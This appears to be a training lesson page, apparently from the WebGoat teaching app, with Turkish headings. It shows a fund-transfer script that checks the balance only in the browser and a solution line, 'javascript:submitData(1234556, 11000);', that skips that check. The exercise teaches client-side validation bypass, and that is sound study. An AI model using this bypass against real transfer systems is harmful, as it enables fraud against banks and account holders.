Dersin Hedefi

Açıklamalar

function processData(){
	var accountNo = document.getElementById('newAccount').value;
	var amount = document.getElementById('amount').value;
	
    if ( accountNo == ''){
		alert('Please enter a valid account number to transfer to.');
		return;
	}
	else if ( amount == ''){
		alert('Please enter a valid amount to transfer.');
		return;
	}
 
	var balanceValue = document.getElementById('balanceID').innerHTML;
	balanceValue = balanceValue.replace( new RegExp('$') , '');
	
    if ( parseFloat(amount) > parseFloat(balanceValue) ) {
		alert('You can not transfer more funds than what is available in your balance.')
		return;
	}
	
	document.getElementById('confirm').value  = 'Transferring';
	submitData(accountNo, amount);
	
	document.getElementById('confirm').value  = 'Confirm';
	balanceValue = parseFloat(balanceValue) - parseFloat(amount);
	balanceValue = balanceValue.toFixed(2);
	document.getElementById('balanceID').innerHTML = balanceValue + '$';
}

function submitData(accountNo, balance) {
	var url = 'attack?Screen=68&menu=400&from=ajax&newAccount='+ accountNo+ '&amount=' + balance +'&confirm=' + document.getElementById('confirm').value; 
	if (typeof XMLHttpRequest != 'undefined') {
		req = new XMLHttpRequest();
	} 
	else if (window.ActiveXObject) {
		req = new ActiveXObject('Microsoft.XMLHTTP');
	}
	req.open('GET', url, true);
	req.onreadystatechange = callback;
	req.send(null);
}

function callback() {
    if (req.readyState == 4) { 
        if (req.status == 200) { 
			var result =  req.responseText ;
			var resultsDiv = document.getElementById('resultsDiv');
			resultsDiv.innerHTML = '';
			resultsDiv.innerHTML = result;
        }
    }
}

    11987.09$

Dersin Çözümü

javascript:submitData(1234556, 11000);